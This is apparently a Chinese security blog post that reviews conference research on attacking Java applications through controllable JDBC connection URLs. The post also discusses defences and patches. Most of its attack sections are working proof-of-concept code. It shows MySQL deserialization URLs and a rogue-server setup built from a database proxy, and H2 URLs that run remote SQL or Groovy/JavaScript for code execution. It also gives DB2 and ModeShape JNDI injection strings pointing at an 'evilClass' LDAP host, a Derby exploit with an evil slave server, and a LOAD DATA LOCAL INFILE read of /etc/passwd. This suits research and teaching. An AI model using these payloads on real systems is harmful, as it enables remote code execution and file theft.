JDBC Connection URL 攻击

当一个 JDBC 连接 URL 可控时，能造成什么影响？相关的若干攻击方法已经被披露很长时间了，但是我还一直都没有学习，随着 HITB2021SIN 中的分享议题 " Make JDBC Attacks Brilliant Again " 的视频上传到了 Youtube 上之后，我觉得实在是不能再拖了，于是就有了这篇文章，本文记录了相关的学习和研究成果，并集合了相关的漏洞代码。

在看本篇文章时，可以边结合视频，边看 PPT 边看我对其的讲解分析，打开 youtube 的自动字幕和自动翻译，结合本文，对英文不好的同学来说可能更容易一点。

开端

在 2019 年欧洲 BlackHat 大会上, 一个名为 " New Exploit Technique In Java Deserialization Attack " 的议题由 Back2Zero 安全团队的 Yongtao Wang, Lucas Zhang, Kevin Li 以及 Kunzhe Chai 分享出来，首次披露了 JDBC 相关反序列化攻击的利用技术。

视频也上传到了 youtube 上，首先来跟着 PPT 学习一下。

Introduction to Java Deserialization

这个议题根据其 PPT 一共有 5 个部分，第一部分是对 Java 反序列化漏洞的一些介绍，比较基础，这里我就不再描述了，之前我也写过一篇相关的文章 《Java反序列化取经路》 ,对基础有问题的朋友可以先补一下。这里我就直接贴几张议题中的 PPT。

攻击场景，以及一些再反序列化过程中会自动触发的方法

一个有漏洞的类的举例，可以看到，在重写的 readObject 中执行了文件删除的操作

Well-Known Defense Solutions

Lucas 列举出了三种广泛使用的防御反序列化漏洞的方案。

1. 黑名单校验 通过在反序列化过程中对输入流进行校验来确保其安全性. 如果反序列化过程中遇到了黑名单的类，将会终止反序列化进程。一般是通过增强 resolvClass 方法来实现的。 我们可以在 Jackson/Weblogic 以及开源项目 SerialKiller 中看到这种防御机制的实现。
2. JEP290(过滤机制) JEP290 提供了一个 Filter 机制，可以对反序列化数据的输入流进行过滤，来提高安全性。官方文档可以看 这里 。每当进行一次反序列化操作时，底层就会根据filter中的内容来进行判断，从而防止恶意的类进行反序列化操作。此外，还可以限制反序列化数据的信息，比如数组的长度、字节流长度、字节流深度以及使用引用的个数等。filter返回accept，reject或者undecided几个状态，然后用户根据状态进行决策。
3. Runtime Application Self-protection(RASP) RASP 大家应该都不陌生了，这里就不多说了, 在 JavaSec 里园长写了一篇 文章 ，大家可以看一看。总体来说，RASP 是在程序运行时基于行为的防御，不基于规则，也不基于黑名单。 但各家 RASP 实现参差不齐，部分 RASP 可能仅仅关注了简单的命令执行功能的防御，而对其他的防御没有到位。

这三种通用的方法，还不是完美的防御方案，可能存在一些瑕疵： - 如果我们找到了一条新的反序列化利用链，就可以绕过基于黑名单的反序列化防御机制； - 大多数的安全研究员一般情况下会找一些包含常见危险函数的 Gadget，比如执行命令的 Runtime.exec() ，导致一些防御措施甚至是 RASP 也仅仅防御了这些常见的危险函数，此时如果我们发现了一个 Java 中的攻击向量，就可以绕过绝大部分的防御手段。

Critical vulnerabilities in Java

接下来 Lucas 公布了两个能带来较大危害的攻击向量。

URLConnection

提到 URLConnection，我能想到的漏洞利用就只有 SSRF，但是 Lucas 将其延伸至 NTLM Reflection Attack (CVE-2019-1040) 并且获得了本地 Windows 凭证信息。

这部分不是本文的重点，所以也将其略过。

JDBC

这部分的议题由 Kunzhe Chai 给出了相关的讲解。

JDBC 是 JavaSE 中一个重要的 API，定义了一个客户端连接数据库的方式。

开发人员使用 JDBC 与数据库建立连接，对数据库执行查询和更新语句，并检索从数据库接收到的结果。下面是一个常见的创建连接并查询数据的过程：

public static void main(String[] args) throws Exception {

        String CLASS_NAME = "com.mysql.jdbc.Driver";
        String URL        = "jdbc:mysql://localhost:3306/test";
        String USERNAME   = "root";
        String PASSWORD   = "root";

        Class.forName(CLASS_NAME);
        Connection connection = DriverManager.getConnection(URL, USERNAME, PASSWORD);

        Statement statement = connection.createStatement();
        statement.execute("select 10086");
        ResultSet set = statement.getResultSet();
        while (set.next()) {
            System.out.println(set.getString(1));
        }

        statement.close();
        connection.close();
    }

JDBC 通常使用不同的 URL/URI 连接字符串来与指定类型的数据库建立连接，这个 URL 主要包含三个部分: 驱动名称、连接地址以及扩展参数。

而 "扩展参数" 就是本次导致安全漏洞的一个重要的部分。

Mysql JDBC 中包含一个危险的扩展参数： ” autoDeserialize “。这个参数配置为 true 时，JDBC 客户端将会自动反序列化服务端返回的数据，这就产生了 RCE。

此时如果攻击者作为 MYSQL 服务器的角色，给客户端返回了恶意的序列化数据，客户端就会自动反序列化触发恶意代码，造成漏洞。

在此处我们以 mysql-connector-java 8.0.14 为例，类 com.mysql.cj.jdbc.result.ResultSetImpl 实现了 java.sql.ResultSet 并且重写了 getObject() 方法。

如果在 JdbcConnection 的相关属性中找到了 "autoDeserialize" 参数，客户端就会读取服务端返回数据并执行其 readObject() 方法，这就是 mysql jdbc 攻击的最根本原因。

但是在默认情况下 JDBC 客户端不会调用 getObject() 函数来处理攻击者的数据，所以还需要找到一个可以触发的方式。

经过了一番深入的研究，Kunzhe Chai 找到了一个可以触发这个方法的扩展参数 :queryInterceptors。

"queryInterceptors" 参数可以指定接口 com.mysql.cj.interceptors.QueryInterceptor 的子类，通过名字可以看到，这是一个起到”拦截器“作用的类。在这些拦截器的实现类中，可以修改或增强语句的某些子级所做的处理，例如自动检查 memcached 服务器中的查询数据、重写慢速查询、记录有关语句执行的信息，或将请求路由到远程服务器。总体来说，这是一个为查询提供自动化增强功能的参数。

根据相关的 文档 , "queryInterceptors" 配置是从 8.0.7 版本开始支持的。

接口 QueryInterceptor 提供了一个完整的拦截流程如 init -> preProcess -> postProcess -> destroy , 而且 QueryInterceptors 是 "chainable" 的，也就是链式的，可以指定多个 QueryInterceptor ，上一个处理的结果会传递给下一个 QueryInterceptor。

在 mysql-connector-java 中，QueryInterceptor 有好几个实现类。

Chai 发现 ServerStatusDiffInterceptor 会调用 getObject 方法，接下来看一下具体的调用链。

ServerStatusDiffInterceptor 用于显示在查询之间服务器状态的差异， preProcess() / postProcess() 调用 populateMapWithSessionStatusValues() 方法。

populateMapWithSessionStatusValues() 使用已经建立的 connection 创建并执行了一个新的语句 SHOW SESSION STATUS ，并调用 ResultSetUtil.resultSetToMap() 处理返回结果。

resultSetToMap 调用了之前我们提到的 getObject() 方法，连成了一条调用链。

有了上面的知识点的积累，我们已经找到了一条反序列化的攻击路径：如果我们可以控制 JDBC URI，我们就可以： - 将 JDBC 连接地址指向攻击者事先准备好的恶意服务器，这个服务器可以返回恶意的序列化数据。 - 指定 autoDeserialize 参数为 true，mysql 客户端就可以自动反序列化恶意 payload。 - 使用 ServerStatusDiffInterceptor 触发客户端和服务端的交互和反序列化。

攻击 JDBC 的步骤大概分为:

New exploit for Java Deserialization

在这一 part，Kunzhe Chai 组合了 3 个漏洞(反序列化/NTLM Hash Leaking/NTLM Reflection Attack) 组成了 RCE 漏洞利用。

然后他制作了一个视频来演示在一个真实环境中的攻击。

然后他展示了他找到的其他可以触发 URLConnection 的 gadget，可以触发其他例如 Java 反序列化/Jackson 的漏洞利用。

依旧不是本篇文章的重点，继续略过。

Takeaways

在 PPT 的结尾，Chai 给开发人员和安全研究人员都提了一些建议：

后续

在听整个演讲的过程中，我一直有个疑问，演讲之后的提问环节恰好有个老外问了这个问题:

攻击者可以控制 jdbc url 的情况好像并不常见，在什么情况下我们可以在现实世界中执行这个攻击呢？

这确实是一个比较现实的问题，Lucas 给出了他的答案：云平台配置。

然后这个老外接着问，有没有一个独立的产品，不正确的允许了攻击者配置 jdbc url。我感觉这个老外可能并不认可这种漏洞利用链作为一种攻击手段。

Lucas 好像没懂他的问题，并没有给出清晰的解释。同时我也觉得应该不会有商业化产品能允许攻击者未授权的修改 jdbc connection url。

但是无论如何，这种技术永远可以用来进行反制红队或者威胁诱捕（比如说蜜罐）。

在会议中，Lucas 和 Chai 仅仅提供了思路，并没有提供能够返回恶意序列化的 mysql 服务端。

几个月后，codeplutos 使用了修改后的 MySQL 插件来成功创建了恶意服务器，并且使用了一个新的扩展参数：detectCustomCollations。

当在 jdbc 连接参数中设置了 detectCustomCollations=true 时，也可以触发反序列化的流程，调用点在 com.mysql.jdbc.ConnectionImpl#buildCollationMapping ， 依赖是 mysql-connector-java 5.1.29。

buildCollationMapping 方法会执行 SQL 语句 SHOW COLLATION 并调用 Util.resultSetToMap() 处理返回结果。

resultSetToMap() 方法调用 getObject() 导致反序列化。

无论用上面哪条触发链，我们都需要创建一个恶意的 mysql 服务端来针对这两条在建立连接时触发 gadget 中执行的 SQL 语句进行响应： - SHOW SESSION STATUS - SHOW COLLATION

但是该如何创建?

一个月后, fnmsd 师傅发布他的 研究文章 以及他的 fake server 项目 。

fnmsd 师傅在分析了 MySQL connector/J 的不同版本后，给出了一个统一的总结，并给出了不同版本所需的恶意 URL。

十分建议先学习一下 fnmsd 师傅的文章。

打造自己的恶意服务器

在了解了调用链和原理后，下一步我们可以打造一个属于自己的恶意服务器。有以下几种实现思路： - 从头开始编写一个伪 MySQL 服务器，兼容 MySQL 的协议交互和 MySQL SQL 语法执行的流程。（需要了解通信协议和实现机制，工作量太大） - 对 jdbc 连接过程中的全部 TCP 进行抓包，分析服务端和客户端交互的全部流程，包括握手、认证、执行语句等等, 重现整个交互流程，在指定位置返回恶意数据包。（fnmsd 师傅应该就是这样实现的） - 通过修改后的 mysql 插件来实现相应的功能。（codeplutos 师傅的实现方式）

但这些方法对我来说都太复杂了，所以我尝试使用了更简单更优雅的方式创建了自己的恶意服务器，使用了所谓的：”数据库中间件“。

我找到了一个 alibaba 的开源项目 cobar ， 它是一个分片数据库的代理，不过你管它叫什么都行，实际上它就是一个客户端和服务端的中间的代理。

在使用 cobar 等数据库中间件时，对于真正的客户端，cobar 扮演 Mysql 服务器的角色；对于真正的服务器，cobar 是其客户端。因此，它是我们控制特定语句执行结果的完美工具。

Talk is cheap.让我们在实际环境中演示真正的攻击过程： - Real Mysql Server: 5.6.35 - cobar: 4.0.0 - mysql-connector-java: 5.1.29 - 客户端依赖: commons-collections-3.2.1 - 攻击方式: detectCustomCollations

准备恶意序列化数据

首先，生成恶意序列化 payload，在我的演示环境里使用了 CC1 的利用链，并且最终调用 Runtime.exec() 执行系统命令 "open -a Calculator.app" 弹出计算器，图中是我学习 ysoserial 中使用的 工具 ，你可以使用任何工具生成任何利用链。

然后，在真实的 Mysql 服务器创建一个储存恶意序列化数据的表，表中至少有 3 个字段，并且第三个字段的数据类型是 blob。

因为对于 detectCustomCollations 攻击方式来说，触发的第三个字段结果的对象反序列化，所以要在指定位置准备恶意 payload。

最后，我们使用如下代码将恶意序列化的数据插入表中:

public static void main(String[] args) throws Exception {

    String CLASS_NAME = "com.mysql.jdbc.Driver";
    String URL        = "jdbc:mysql://localhost:3306/test";
    String USERNAME   = "root";
    String PASSWORD   = "123456";

    Class.forName(CLASS_NAME);
    Connection connection = DriverManager.getConnection(URL, USERNAME, PASSWORD);

    File file   = new File("/Users/phoebe/IdeaProjects/ysoserial-su18/CC1WithTransformedMap.bin");
    int  length = (int) file.length();

    FileInputStream stream = new FileInputStream(file);

    PreparedStatement statement = connection.prepareStatement("INSERT INTO evil (`a`,`b`,`c`) VALUES (1,1,?)");
    statement.setBlob(1, stream, length);
    statement.execute();

    statement.close();
    connection.close();
}

配置代理层 Mysql 服务器

准备好存放恶意类的数据库后，就要配置数据库中间件，也就是 cobar，根据其配置文件规则，让其连接到 Mysql Server:

接下来配置 cobar 提供服务的一些参数，等待客户端的连接。

启动 cobar 后，他就变成了客户端到真实服务器的一个代理，无论再客户端执行了什么 sql 语句，cobar 都会先读取并解析，然后由 cobar 再去服务端执行查询获取结果。

我们已经知道，如果我们在 jdbc 连接参数中设置了 detectCustomCollations=true ， jdbc connector 会执行 SHOW COLLATION 语句，并尝试对返回字段的第三个字段进行反序列化。

在使用了 cobar 后，我们可以在中间层面替换执行的 sql 语句，仅仅需要如下两行简单的代码:

将这两行代码加入 com.alibaba.cobar.server.ServerConnection#execute 方法中，当 cobar 获取 SHOW COLLATION 语句后，就会向真实的服务器中执行 select * from evil ，服务器会返回我们事先准备好的恶意字节码。

建立连接

使用 cobar 来建立连接。

public static void main(String[] args) throws Exception {
    String CLASS_NAME = "com.mysql.jdbc.Driver";
    String URL        = "jdbc:mysql://localhost:8066/dbtest?detectCustomCollations=true&autoDeserialize=true";
    String USERNAME   = "root";
    String PASSWORD   = "123456";

    Class.forName(CLASS_NAME);
    Connection connection = DriverManager.getConnection(URL, USERNAME, PASSWORD);
    connection.close();
}

成功弹出计算器。

Cheat Sheet

下面是 fnmsd 师傅文章中的两个截图，可以用来做 Cheat Sheet。

ServerStatusDiffInterceptor

detectCustomCollations

Arbitrary File Reading Vulnerability

除了操控 JDBC URI 导致反序列化漏洞之外, 在很久之前还披露了一种能够导致任意文件读取的 JDBC 攻击手段。

如果 mysql 客户端在连接服务端时使用了 –enable-local-infile 选项，并执行 LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE test FIELDS TERMINATED BY '\n'; 语句，客户端会读取本地的文件并将其内容发送至服务端。

因此，如果 mysql 服务器是不受信任的服务器，一个简单的建立连接行为可能会导致对客户端的任意文件读取。更多的细节可以查看 LoRexxar 师傅的相关 博客 以及 Github 上的 恶意服务器项目 。

Jdbc connector 中的 Sink 点位于 com.mysql.jdbc.MysqlIO#sendFileToServer 。

Make JDBC Attacks Brilliant Again

本篇议题由 Litch1 和 pyn3rd 在 HITB SECCONF SIN-2021 上分享。演讲 PPT 在 这里 ，议题视频在 这里 。线上讲解的是 Litch1 师傅。接下来跟着大佬的分享一起学习学习。

首先，他介绍了一下背景，并回顾了使用 ServerStatusDiffInterceptor 在不同版本中利用的的情况。

随后他列举了使用 jdbc 攻击技术的常见场景： - 新反序列化链（如 fastjson/jackson，getter/setter 方法中包括初始化数据库链接的逻辑） - 攻击 SpringBoot Actuator - API 接口暴露 - 钓鱼，蜜罐

然后他给出了一些典型的 jdbc 攻击案例。

CSRF to JDBC Attack(Weblogic)

Weblogic (CVE-2020-2934), 由于 Weblogic 在创建 JDBCDataSourceForm 的接口中没有 CSRF 检测，攻击者可以使用 csrf 攻击结合 jdbc attack 技术组合为 RCE。

根据 PPT 中的截图，我跳过了 csrf 的部分复现了攻击。

Reconfigure JDBC Resource(Wildfy)

JBOSS/Wildfy，在后台或各种中间件的内容管理系统中也有 jdbc 数据源的相关配置功能。例如 JBoss/Wildfy，因为 h2 数据库的 Driver 是内置的，攻击者可以在后台重新配置 jdbc 并实现攻击。

H2 RCE

H2 的攻击使用了 Spring Boot H2 console 的特性，通过更改 h2 数据库的连接 url，攻击者可以迫使 spring boot 从远程运行 SQL 脚本。

jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql'

脚本如下，创建了一个调用 Runtime.getRuntime().exec() 的函数并执行弹出计算器命令。

CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "su18";}';CALL EXEC ('open -a Calculator.app')

需要如下参数:

spring.h2.console.enable=true
spring.h2.console.setting.web-allow-others=true

复现截图如下：

攻击是如何执行的呢？

INIT RUNSCRIPT

Sink 点在 org.h2.engine.Engine#openSession ，h2 引擎在参数中拆分 ”INIT“ 参数并使用 CommandInterface 的不同实现类来根据配置初始化数据库连接。

在本案例下，具体的处理类是 org.h2.command.CommandContainer 。

当使用 RUNSCRIPT 命令时， h2 数据库最终会调用 org.h2.command.dml.RunScriptCommand#execute 执行恶意 SQL 语句。

在这里为什么要使用 ”RUNSCRIPT“命令呢？

因为我们使用的 POC 需要执行两条 SQL 语句，第一条是 CREATE ALIAS 定义方法，第二条是 EXEC 执行。然而 session.prepareCommand 不支持多条 SQL 语句的执行。因此我们需要使用 RUNSCRIPT 命令从远端服务器加载 sql 语句。

但这也意味着攻击需要网络连接，如何绕过网络的限制？由于 h2 是一个嵌入式数据库，因此有可能发现不需要任何外部连接的攻击。

Source Code Compiler

因此，我们应该找到一种方法，将 POC sql 简化为一条语句，这样就省去了交互，不用连接远程数据库。

Litch1 翻了 CREATE ALIAS 实现的源代码，发现在 SQL 语句中对于 JAVA 方法的定义被交给了源代码编译器。有三种支持的编译器：Java/Javascript/Groovy。

首先来看一下 Groovy。

在 org.h2.util.SourceCompiler#getClass 方法， h2 使用 isGroovySource 来判断是不是 Groovy 源代码。

如果是，则调用 GroovyCompiler.parseClass() 来解析 groovy 代码。这与 Orange 在 Hacking Jenkins Part 2 议题中分析的 Sink 点是一致的.

由此 Litch1 给出了使用 @groovy.transform.ASTTEST 在 AST 中使用 assert 执行命令的 POC。

public static void main (String[] args) throws ClassNotFoundException, SQLException {
    String groovy = "@groovy.transform.ASTTest(value={" + " assert java.lang.Runtime.getRuntime().exec(\"open -a Calculator\")" + "})" + "def x";
    String url = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE ALIAS T5 AS '"+ groovy +"'";
    Connection conn = DriverManager.getConnection(url);
    conn.close();
}

然而 Groovy 依赖并不容易遇到，因此 Litch1 又给出了使用 JavaScript 和 CREATE TRIGGER 的利用链，这条链不仅仅编译源代码，还调用了 eval 执行。

POC 如下:

public static void main (String[] args) throws ClassNotFoundException, SQLException {
    String javascript = "//javascript\njava.lang.Runtime.getRuntime().exec(\"open -a Calculator.app\")";
    String url = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER hhhh BEFORE SELECT ON INFORMATION_SCHEMA.CATALOGS AS '"+ javascript +"'";
    Connection conn = DriverManager.getConnection(url);
    conn.close();
}

IBM DB2

MySQL 中发现的漏洞是由于其可配置属性的特性造成的。那么，如果可控，是否还有其他可配置属性会导致漏洞？

在 DB2 中，Litch1 找到了 clientRerouteServerListJNDINameIdentifies 。这个属性的作用是什么呢？如下：

It's a JNDI reference to a DB2ClientRerouteServerList instance in a JNDI repository of reroute server information.clientRerouteServerListJNDIName applies only to IBM Data Server Driver for JDBC and SQLJ type 4 connectivity, and to connections that are established through the DataSource interface.

翻译成人话，就是这个 JDBC URL 配置可以导致 JNDI 注入。

POC 如下:

public static void main(String[] args) throws Exception {
    Class.forName("com.ibm.db2.jcc.DB2Driver");
    DriverManager.getConnection("jdbc:db2://127.0.0.1:50001/BLUDB:clientRerouteServerListJNDIName=ldap://127.0.0.1:1389/evilClass;");
}

ModeShape

ModeShape 是一个 JCR(Java Content Repository) 的实现，使用 JCR API 来从其他系统中获取数据，例如文件系统、 JDBC 元数据等。

Repository 源可以配置成 jdbc:jcr:jndi:jcr:?repositoryName=repository .

很明显又是一个 JNDI 注入，如下:

public static void main(String[] args) throws Exception {
    Class.forName("org.modeshape.jdbc.LocalJcrDriver");
    // A JNDI URL that points the hierarchical database to an evil LDAP service 
    DriverManager.getConnection("jdbc:jcr:jndi:ldap://127.0.0.1:1389/evilClass");
}

Apache Derby

Apache Derby 像 h2 一样，有时会被内嵌在一些系统中。在 derby 驱动源代码中 Litch1 在 org.apache.derby.impl.store.replication.net.SocketConnection 类中找到了一个可疑的反序列化调用。

然后他发现了一个内部类 ReplicationMessageTransmit$MasterReceiverThread 调用了这个方法。

ReplicationMessageTransmit 类是在配置了 startMaster=true 和 slaveHost=127.0.0.2 之后用来在主从服务器之间拷贝数据的。

如果我们将 slaveHost 字段配置成为了恶意的服务器，derby 会建立 JDBC 连接并读取恶意数据， MasterReceiverThread 调用 readMessage 方法，恶意服务器将返回恶意代码并触发反序列化利用。

POC 如下:

public static void main(String[] args) throws Exception{
    Class.forName("org.apache.derby.jdbc.EmbeddedDriver");
    DriverManager.getConnection("jdbc:derby:webdb;startMaster=true;slaveHost=evil_server_ip");
}

恶意的 SLAVE 服务器如下:

public class EvilSlaveServer {
    public static void main(String[] args) throws Exception {
        int port = 4851;
        ServerSocket server = new ServerSocket(port);
        Socket socket = server.accept();
        socket.getOutputStream().write(Serializer.serialize(new CommonsBeanutils1().getObject("open -a Calculator")));
        socket.getOutputStream().flush();
        Thread.sleep(TimeUnit.SECONDS.toMillis(5));
        socket.close();
        server.close();
    }
}

SQLite

在使用 SQLite 时， org.sqlite.core.CoreConnection#open 方法会在与服务器建立连接时被调用。

这个方法提供了一个特性: 如果 connection URL 以 :resource: 开头，将会调用 extractResource 方法从 URL 连接获取数据库内容。

extractResource() 方法代码如下:

从这个方法我们可以看出，当我们的连接 URL 如下 jdbc:sqlite::resource:http://127.0.0.1:8888/poc.db ，SQLite 会尝试请求地址并从中读取内容。

这首先无疑是个 SSRF，但是 SSRF 是不够的。

那么当我们能控制 JDBC URL 和数据库文件内容时，该如何执行攻击呢？

根据 " SELECT code_execution FROM * USING SQLite; "，我们可以使用 ”CREATE VIEW“ 不可控的 SELECT 语句转换为可控的 SELECT 语句。

如果我们可以控制 SELECT 语句，我们可以使用 SELECT load_extension('/tmp/test.so') 来加载 dll/so 并执行恶意代码，但是在实际环境中，并不是经常能遇见服务器上文件可控的情况，而且 load_extension 默认是不开启的。

除了常见的漏洞之外，我们还可以使用 SQLite 中的内存损坏例如 “Magellan” 来导致JVM崩溃。（超出知识范围）

如何防御

以上就是 Litch1 研究和总结的全部攻击 JDBC Connection URL 的相关内容。

这一部分讨论一下开源软件都是怎么抵御 JDBC 攻击的。

Apache Druid CVE-2021-26919 补丁

Apache DolphinScheduler CVE-2020-11974 补丁

我们可以利用属性过滤器解析器和 JDBC 驱动程序解析器之间的差异，并使用它绕过安全补丁。

Java Service Provider Interface

SPI 技术用于加载 JDBC 连接器的驱动程序。

5.1.48 版本的 mysql connector，注册了两个 JDBC 驱动器。除了常规的 com.mysql.cj.jdbc.Driver ，还有一个 com.mysql.fabric.jdbc.FabricMySQLDriver 。

MySQL Fabric 是一个用于管理 MySQL 服务器群的系统。MySQL Fabric 提供了一个广泛且易于使用的系统，用于管理 MySQL 部署以实现共享和高可用性。

Litch1 研究了 FabricMySQLDriver 的源码，发现如果 connection url 以 jdbc:mysql:fabric:// 开头，程序将会进入 Fabric 的处理逻辑。

并将向主机发送一个 XMLRPC 请求。

关键的代码点都在上面两张 PPT 中，在使用 Fabric 驱动时，在建立 JDBC 连接后，会自动触发一个 XMLRPC 请求，这显然是一个 SSRF。

但某位大牛曾经说过，SSRF 是 RCE 的起手式。Litch1 继续深挖，发现了在处理相应数据时产生的 XXE 漏洞。

所以漏洞触发过程很简单，建立连接，解析 XML，PPT 中给出了恶意服务端的 python 源代码。

总结

全部的测试环境和代码已经公开在了 Github 项目中，请移步查看： GitHub - su18/JDBC-Attack: JDBC Connection URL Attack

彩蛋

在群聊赛博回忆录中，有师傅提到，PostgreSQL Connection URL 有几个参数可以导致问题，研究了一下之后发现可以 getshell，目前没有更新在项目中，这里作为彩蛋提一下，有兴趣的师傅自行研究吧~

引用

https://i.blackhat.com/eu-19/Thursday/eu-19-Zhang-New-Exploit-Technique-In-Java-Deserialization-Attack.pdf

https://conference.hitb.org/hitbsecconf2021sin/materials/D1T2%20-%20Make%20JDBC%20Attacks%20Brilliant%20Again%20-%20Xu%20Yuanzhen%20&%20Chen%20Hongkun.pdf

MySQL JDBC 客户端反序列化漏洞

JDBC导致的反序列化攻击 - Welk1n - 博客园

GitHub - fnmsd/MySQL_Fake_Server: MySQL Fake Server use to help MySQL Client File Reading and JDBC Client Java Deserialize

GitHub - Gifts/Rogue-MySql-Server: Rogue MySql Server

GitHub - codeplutos/MySQL-JDBC-Deserialization-Payload: MySQL JDBC Deserialization Payload / MySQL客户端jdbc反序列化漏洞payload

GitHub - alibaba/cobar: a proxy for sharding databases and tables

MySQL JDBC 客户端反序列化漏洞分析 - 安全客，安全资讯平台

MySQL :: MySQL Connector/J 8.0 Developer Guide :: 11 Using the Connector/J Interceptor Classes

MySQL connect file read – RussianSecurity

https://www.slideshare.net/qqlan/database-honeypot-by-design-25195927

https://w00tsec.blogspot.com/2018/04/abusing-mysql-local-infile-to-read.html

CSS-T | Mysql Client 任意文件读取攻击链拓展 · LoRexxar's Blog

https://xz.aliyun.com/t/3973

Features

SELECT code_execution FROM * USING SQLite; - Check Point Research

https://pyn3rd.github.io/